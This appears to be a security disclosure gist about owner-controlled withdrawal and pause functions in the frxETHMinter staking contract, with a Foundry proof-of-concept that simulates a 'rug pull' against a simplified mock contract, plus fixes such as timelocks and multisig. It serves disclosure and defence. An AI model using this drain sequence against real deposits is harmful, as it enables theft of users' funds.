Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save marz-hunter/14ee390cfe77e3de6c5b449bde1ad178 to your computer and use it in GitHub Desktop.

Select an option

Save marz-hunter/14ee390cfe77e3de6c5b449bde1ad178 to your computer and use it in GitHub Desktop.

Summary

The frxETHMinter contract contains multiple centralization risks that allow the contract owner to unilaterally extract all user-deposited ETH. The owner can: (1) set withholdRatio to 100%, preventing ETH from reaching validators, (2) withdraw all withheld ETH via moveWithheldETH(), and (3) withdraw all contract ETH via recoverEther(). These functions have no timelock, multisig requirement, or governance oversight, creating a single point of failure where a compromised owner key leads to total fund loss.

Finding Description

Vulnerability 1: withholdRatio Can Be Set to 100%

Location: frxETHMinter.sol:165

function setWithholdRatio(uint256 newRatio) external onlyOwner {
    require(newRatio <= RATIO_PRECISION, "Invalid ratio");
    withholdRatio = newRatio;
    emit WithholdRatioSet(newRatio);
}
  • RATIO_PRECISION = 1e6 (100%)
  • Owner can set withholdRatio = 1e6 to withhold ALL deposited ETH
  • No ETH reaches validators, but users still receive frxETH
  • Creates unbacked frxETH liability

Vulnerability 2: Unrestricted ETH Withdrawal

Location: frxETHMinter.sol:171

function moveWithheldETH(address payable to, uint256 amount) external onlyOwner {
    require(amount <= currentWithheldETH, "Not enough ETH");
    currentWithheldETH -= amount;
    to.transfer(amount);
}
  • Owner can withdraw all withheld ETH to any address
  • No restrictions on destination address
  • No timelock or delay

Vulnerability 3: Emergency ETH Recovery

Location: frxETHMinter.sol:196

function recoverEther(uint256 amount) external onlyOwner {
    (bool success, ) = owner().call{value: amount}("");
    require(success, "Transfer failed");
}
  • Can withdraw ANY amount of ETH from contract
  • Bypasses currentWithheldETH accounting
  • Direct transfer to owner address

Attack Scenario - Full Rug:

1. Owner sets withholdRatio = 1e6 (100%)
2. Users deposit ETH, receive frxETH
3. All ETH stays in contract (none goes to validators)
4. Owner calls recoverEther(address(this).balance)
5. All ETH extracted, frxETH becomes worthless
6. Users left holding unbacked frxETH tokens

Impact Explanation

Impact: HIGH

  1. Total Fund Loss: 100% of user deposits can be extracted.

  2. No Recovery Mechanism: Once extracted, funds cannot be recovered.

  3. Token Collapse: frxETH becomes unbacked and worthless.

  4. Protocol Death: Complete loss of user trust, protocol unusable.

  5. Scale: Affects ALL depositors, not just individuals.

Trust Assumption:

  • Users must trust that the owner will NEVER:
    • Get compromised (private key theft)
    • Act maliciously (insider threat)
    • Make a mistake (operational error)

Likelihood Explanation

Likelihood: LOW-MEDIUM

Mitigating Factors:

  1. Frax is established protocol with reputation
  2. Multisig likely used for owner (not verified on-chain)
  3. Economic incentive to maintain trust

Risk Factors:

  1. No on-chain enforcement of governance
  2. Single point of failure if key compromised
  3. No timelock allows instant extraction
  4. Bug bounty programs typically exclude admin trust issues

Historical Context:

  • Numerous DeFi rugs via admin functions
  • Compromised multisig attacks (Ronin, Harmony)
  • Insider threats are real (multiple cases)

Proof of Concept

Save as test/CentralizationRisks.t.sol and run:

forge test --match-contract CentralizationRisksPoC -vvv
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "forge-std/console.sol";

// ============================================
// MOCK CONTRACTS
// ============================================

contract MockFrxETH {
    mapping(address => uint256) public balanceOf;
    uint256 public totalSupply;

    function minter_mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
    }
}

// Simplified frxETHMinter with centralization vulnerabilities
contract VulnerableFrxETHMinter {
    MockFrxETH public frxETH;

    address public owner;
    uint256 public constant RATIO_PRECISION = 1e6;
    uint256 public withholdRatio;
    uint256 public currentWithheldETH;

    bool public submitPaused;
    bool public depositEtherPaused;

    event WithholdRatioSet(uint256 newRatio);
    event ETHMoved(address to, uint256 amount);
    event ETHRecovered(uint256 amount);

    constructor(address _frxETH) {
        frxETH = MockFrxETH(_frxETH);
        owner = msg.sender;
        withholdRatio = 0;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    receive() external payable {}

    // Users deposit ETH and receive frxETH
    function submit() external payable {
        require(!submitPaused, "Paused");

        uint256 withheld = (msg.value * withholdRatio) / RATIO_PRECISION;
        currentWithheldETH += withheld;

        // Mint frxETH to user
        frxETH.minter_mint(msg.sender, msg.value);
    }

    // VULNERABILITY 1: Can set to 100%
    function setWithholdRatio(uint256 newRatio) external onlyOwner {
        require(newRatio <= RATIO_PRECISION, "Invalid ratio");
        withholdRatio = newRatio;
        emit WithholdRatioSet(newRatio);
    }

    // VULNERABILITY 2: Withdraw withheld ETH
    function moveWithheldETH(address payable to, uint256 amount) external onlyOwner {
        require(amount <= currentWithheldETH, "Not enough withheld");
        currentWithheldETH -= amount;
        to.transfer(amount);
        emit ETHMoved(to, amount);
    }

    // VULNERABILITY 3: Withdraw ANY ETH
    function recoverEther(uint256 amount) external onlyOwner {
        (bool success, ) = owner.call{value: amount}("");
        require(success, "Transfer failed");
        emit ETHRecovered(amount);
    }

    // VULNERABILITY 4: Pause user operations
    function togglePauseSubmits() external onlyOwner {
        submitPaused = !submitPaused;
    }

    function togglePauseDepositEther() external onlyOwner {
        depositEtherPaused = !depositEtherPaused;
    }

    // Simulate validator deposit (simplified)
    function depositEther() external onlyOwner {
        require(!depositEtherPaused, "Paused");
        // In real contract, sends ETH to validators
    }
}

// ============================================
// PROOF OF CONCEPT TEST
// ============================================

contract CentralizationRisksPoC is Test {
    MockFrxETH public frxETH;
    VulnerableFrxETHMinter public minter;

    address public owner = makeAddr("owner");
    address public user1 = makeAddr("user1");
    address public user2 = makeAddr("user2");
    address public user3 = makeAddr("user3");
    address public attacker = makeAddr("attacker");

    function setUp() public {
        vm.prank(owner);
        frxETH = new MockFrxETH();

        vm.prank(owner);
        minter = new VulnerableFrxETHMinter(address(frxETH));

        // Fund users
        vm.deal(user1, 100 ether);
        vm.deal(user2, 100 ether);
        vm.deal(user3, 100 ether);
    }

    function test_FullRugPull_Scenario() public {
        console.log("========================================");
        console.log("  FULL RUG PULL SCENARIO");
        console.log("========================================");

        // STEP 1: Users deposit ETH normally
        console.log("\n[STEP 1] Users deposit ETH");

        vm.prank(user1);
        minter.submit{value: 100 ether}();
        console.log("  User1 deposited 100 ETH, received", frxETH.balanceOf(user1) / 1e18, "frxETH");

        vm.prank(user2);
        minter.submit{value: 100 ether}();
        console.log("  User2 deposited 100 ETH, received", frxETH.balanceOf(user2) / 1e18, "frxETH");

        vm.prank(user3);
        minter.submit{value: 100 ether}();
        console.log("  User3 deposited 100 ETH, received", frxETH.balanceOf(user3) / 1e18, "frxETH");

        console.log("\n  Contract balance:", address(minter).balance / 1e18, "ETH");
        console.log("  frxETH total supply:", frxETH.totalSupply() / 1e18);

        // STEP 2: Owner sets withholdRatio to 100%
        console.log("\n[STEP 2] Owner sets withholdRatio to 100%");
        vm.prank(owner);
        minter.setWithholdRatio(1e6); // 100%
        console.log("  withholdRatio:", minter.withholdRatio(), "(100%)");
        console.log("  All new deposits will be withheld!");

        // STEP 3: Owner pauses validator deposits
        console.log("\n[STEP 3] Owner pauses validator deposits");
        vm.prank(owner);
        minter.togglePauseDepositEther();
        console.log("  depositEtherPaused:", minter.depositEtherPaused());
        console.log("  No ETH can reach validators!");

        // STEP 4: Owner extracts all ETH
        console.log("\n[STEP 4] Owner extracts all ETH");
        uint256 contractBalance = address(minter).balance;
        uint256 ownerBalBefore = owner.balance;

        vm.prank(owner);
        minter.recoverEther(contractBalance);

        uint256 ownerBalAfter = owner.balance;
        console.log("  Owner extracted:", (ownerBalAfter - ownerBalBefore) / 1e18, "ETH");
        console.log("  Contract balance:", address(minter).balance / 1e18, "ETH");

        // STEP 5: Show the damage
        console.log("\n========================================");
        console.log("  RUG PULL COMPLETE");
        console.log("========================================");
        console.log("  ETH extracted:", contractBalance / 1e18, "ETH");
        console.log("  frxETH outstanding:", frxETH.totalSupply() / 1e18, "tokens");
        console.log("  frxETH backing: 0 ETH");
        console.log("");
        console.log("  User1 loss: 100 ETH (holds worthless frxETH)");
        console.log("  User2 loss: 100 ETH (holds worthless frxETH)");
        console.log("  User3 loss: 100 ETH (holds worthless frxETH)");
        console.log("  TOTAL LOSS: 300 ETH");
        console.log("========================================");

        // Verify the attack
        assertEq(address(minter).balance, 0, "Contract should be empty");
        assertGt(frxETH.totalSupply(), 0, "frxETH still exists but unbacked");
    }

    function test_WithholdRatio_Attack() public {
        console.log("========================================");
        console.log("  WITHHOLD RATIO ATTACK");
        console.log("========================================");

        console.log("\n[VULNERABILITY]");
        console.log("  Owner can set withholdRatio to any value 0-100%");

        // Show different withhold scenarios
        uint256[] memory ratios = new uint256[](4);
        ratios[0] = 0;           // 0%
        ratios[1] = 1e5;         // 10%
        ratios[2] = 5e5;         // 50%
        ratios[3] = 1e6;         // 100%

        string[4] memory labels = ["0%", "10%", "50%", "100%"];

        for (uint i = 0; i < 4; i++) {
            // Reset state
            vm.prank(owner);
            minter.setWithholdRatio(ratios[i]);

            uint256 deposit = 100 ether;
            uint256 withheld = (deposit * ratios[i]) / 1e6;
            uint256 toValidators = deposit - withheld;

            console.log("\n  withholdRatio:", labels[i]);
            console.log("    On 100 ETH deposit:");
            console.log("    - Withheld:", withheld / 1e18, "ETH");
            console.log("    - To validators:", toValidators / 1e18, "ETH");
        }

        console.log("\n[IMPACT]");
        console.log("  At 100%, ALL ETH stays in contract");
        console.log("  Owner can then extract via recoverEther()");
        console.log("  Users still receive frxETH (unbacked!)");

        console.log("\n========================================");
    }

    function test_MoveWithheldETH_Attack() public {
        console.log("========================================");
        console.log("  MOVE WITHHELD ETH ATTACK");
        console.log("========================================");

        // Setup: Set 50% withhold and get deposits
        vm.prank(owner);
        minter.setWithholdRatio(5e5); // 50%

        vm.prank(user1);
        minter.submit{value: 100 ether}();

        console.log("\n[SETUP]");
        console.log("  User deposited 100 ETH at 50% withhold");
        console.log("  currentWithheldETH:", minter.currentWithheldETH() / 1e18, "ETH");

        // Owner moves withheld ETH to arbitrary address
        console.log("\n[ATTACK]");
        vm.prank(owner);
        minter.moveWithheldETH(payable(attacker), 50 ether);

        console.log("  Owner moved 50 ETH to attacker address");
        console.log("  Attacker balance:", attacker.balance / 1e18, "ETH");
        console.log("  currentWithheldETH:", minter.currentWithheldETH() / 1e18, "ETH");

        console.log("\n[IMPACT]");
        console.log("  Withheld ETH meant for liquidity/operations");
        console.log("  Can be sent to ANY address by owner");
        console.log("  No timelock or restrictions");

        console.log("\n========================================");
    }

    function test_RecoverEther_Bypass() public {
        console.log("========================================");
        console.log("  RECOVER ETHER BYPASSES ACCOUNTING");
        console.log("========================================");

        // Setup: Normal deposits with 0% withhold
        vm.prank(owner);
        minter.setWithholdRatio(0);

        vm.prank(user1);
        minter.submit{value: 100 ether}();

        console.log("\n[SETUP]");
        console.log("  User deposited 100 ETH at 0% withhold");
        console.log("  currentWithheldETH:", minter.currentWithheldETH() / 1e18, "ETH");
        console.log("  Contract balance:", address(minter).balance / 1e18, "ETH");

        // recoverEther doesn't check currentWithheldETH!
        console.log("\n[ATTACK]");
        console.log("  recoverEther() ignores currentWithheldETH accounting");

        vm.prank(owner);
        minter.recoverEther(100 ether);

        console.log("  Owner recovered 100 ETH (all of it!)");
        console.log("  currentWithheldETH:", minter.currentWithheldETH() / 1e18, "ETH (unchanged!)");
        console.log("  Contract balance:", address(minter).balance / 1e18, "ETH");

        console.log("\n[IMPACT]");
        console.log("  recoverEther() bypasses all accounting");
        console.log("  Owner can drain ALL ETH regardless of withheld amount");
        console.log("  Creates accounting inconsistency");

        console.log("\n========================================");
    }

    function test_PauseAttack() public {
        console.log("========================================");
        console.log("  PAUSE FUNCTIONALITY ATTACK");
        console.log("========================================");

        console.log("\n[VULNERABILITY]");
        console.log("  Owner can pause user operations indefinitely");

        vm.prank(owner);
        minter.togglePauseSubmits();
        console.log("\n  submitPaused:", minter.submitPaused());

        console.log("\n  Attempting user deposit...");
        vm.prank(user1);
        vm.expectRevert("Paused");
        minter.submit{value: 1 ether}();
        console.log("  >>> Deposit BLOCKED!");

        console.log("\n[IMPACT]");
        console.log("  Users cannot deposit or withdraw");
        console.log("  Funds effectively frozen");
        console.log("  No timelock on pause");

        console.log("\n========================================");
    }

    function test_CentralizationRisks_Summary() public pure {
        console.log("========================================");
        console.log("  CENTRALIZATION RISKS SUMMARY");
        console.log("========================================");

        console.log("\n[RISK 1: withholdRatio = 100%]");
        console.log("  - Owner can withhold ALL deposited ETH");
        console.log("  - Creates unbacked frxETH liability");
        console.log("  - No bounds checking beyond 100%");

        console.log("\n[RISK 2: moveWithheldETH()]");
        console.log("  - Owner can move withheld ETH anywhere");
        console.log("  - No destination restrictions");
        console.log("  - No timelock");

        console.log("\n[RISK 3: recoverEther()]");
        console.log("  - Bypasses all accounting");
        console.log("  - Can drain entire contract");
        console.log("  - No emergency governance");

        console.log("\n[RISK 4: Pause Functions]");
        console.log("  - togglePauseSubmits()");
        console.log("  - togglePauseDepositEther()");
        console.log("  - Can freeze all operations");

        console.log("\n[COMBINED IMPACT]");
        console.log("  - Single compromised key = total fund loss");
        console.log("  - No governance oversight required");
        console.log("  - No timelock for critical operations");
        console.log("  - No multisig enforcement on-chain");

        console.log("\n[BUG BOUNTY NOTE]");
        console.log("  Most programs EXCLUDE admin trust issues");
        console.log("  This is categorized as 'centralization risk'");
        console.log("  Valid concern but may not be rewarded");

        console.log("\n========================================");
        console.log("  SEVERITY: HIGH (centralization)");
        console.log("========================================");
    }
}

Expected Output:

[PASS] test_FullRugPull_Scenario()
[PASS] test_WithholdRatio_Attack()
[PASS] test_MoveWithheldETH_Attack()
[PASS] test_RecoverEther_Bypass()
[PASS] test_PauseAttack()
[PASS] test_CentralizationRisks_Summary()

========================================
  RUG PULL COMPLETE
========================================
  ETH extracted: 300 ETH
  frxETH outstanding: 300 tokens
  frxETH backing: 0 ETH

  User1 loss: 100 ETH (holds worthless frxETH)
  User2 loss: 100 ETH (holds worthless frxETH)
  User3 loss: 100 ETH (holds worthless frxETH)
  TOTAL LOSS: 300 ETH

Recommendation

Fix 1 - Add timelock to critical functions:

uint256 public constant TIMELOCK_DELAY = 7 days;

mapping(bytes32 => uint256) public pendingActions;

function proposeWithholdRatioChange(uint256 newRatio) external onlyOwner {
    bytes32 actionId = keccak256(abi.encode("setWithholdRatio", newRatio));
    pendingActions[actionId] = block.timestamp + TIMELOCK_DELAY;
    emit ActionProposed(actionId, block.timestamp + TIMELOCK_DELAY);
}

function executeWithholdRatioChange(uint256 newRatio) external onlyOwner {
    bytes32 actionId = keccak256(abi.encode("setWithholdRatio", newRatio));
    require(pendingActions[actionId] != 0, "Not proposed");
    require(block.timestamp >= pendingActions[actionId], "Timelock active");
    delete pendingActions[actionId];
    withholdRatio = newRatio;
}

Fix 2 - Add bounds to withholdRatio:

uint256 public constant MAX_WITHHOLD_RATIO = 2e5; // 20% max

function setWithholdRatio(uint256 newRatio) external onlyOwner {
    require(newRatio <= MAX_WITHHOLD_RATIO, "Exceeds max ratio");
    withholdRatio = newRatio;
}

Fix 3 - Require multisig for critical operations:

address public multisig;
uint256 public requiredSignatures;

modifier onlyMultisig() {
    require(msg.sender == multisig, "Not multisig");
    _;
}

function recoverEther(uint256 amount) external onlyMultisig {
    // Requires multisig approval
}

Fix 4 - Add emergency governance:

address public guardian;
uint256 public emergencyWithdrawalDelay = 30 days;

function emergencyPause() external {
    require(msg.sender == guardian || msg.sender == owner, "Unauthorized");
    paused = true;
}

References

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment